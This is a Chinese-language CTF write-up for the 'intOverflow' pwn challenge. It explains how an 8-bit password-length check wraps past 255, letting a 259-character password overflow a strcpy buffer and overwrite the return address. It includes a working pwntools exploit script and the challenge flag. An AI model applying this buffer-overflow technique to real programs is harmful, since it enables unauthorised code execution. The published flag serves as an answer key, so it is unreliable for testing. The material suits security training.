writeup_intOverflow_pwn

image-20220227161432735

先小查一下,开启了堆栈不可执行,放ida吧

image-20220228085215182

逻辑很清楚,进login

image-20220228085545413

username:0x19
pw:0x199

好长的密码

image-20220228085532326

密码的长度为3-8则输出错误,否则正确。

那么首先要找溢出点,在login函数中,空间给的很大,而且read()函数限制严格,不可能溢出。

然后来到check函数中,一开始对密码的长度做了校验,然后把校验长度之后的密码通过strcpy放入dest中,这里dest的大小很小:

image-20220228111258226

如果能跳过校验,我们就可以覆盖掉返回地址,然后调用what_is_this函数:

image-20220228111405540

那么如何绕过校验,让strcpy执行,复制足够长的字符串呢?这就需要整数溢出

Int8, 等于Byte, 占1个字节.

可以看到int8非常的小,最大就是255, 如果存入int8的值比255还大,就会循环溢出。

因此

password字符串的长度可以是3-8个字符,也可以是259-264个字符

就靠这个原理就可以构造shellcode了,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
p=remote()

cat_flag_addr=0x0804868B
#危险函数的地址
p.sendlineafter("Your choice:", "1")
p.sendlineafter("Please input your username:", "kk")

p.recvuntil("Please input your passwd:")
#如果密码长度为259(溢出后为4)
#0x18字节到溢出位
#溢出地址占四字节
#259-0x18-4=231
payload = b"a" * 0x18+ p32(cat_flag_addr)+b"a"*231

p.sendline(payload)
p.recv()
p.interactive()

跑一下:

image-20220228114041108

受不了python3了,马上就换2

cyberpeace{988edb16506abc237bbd8c3996cf7728}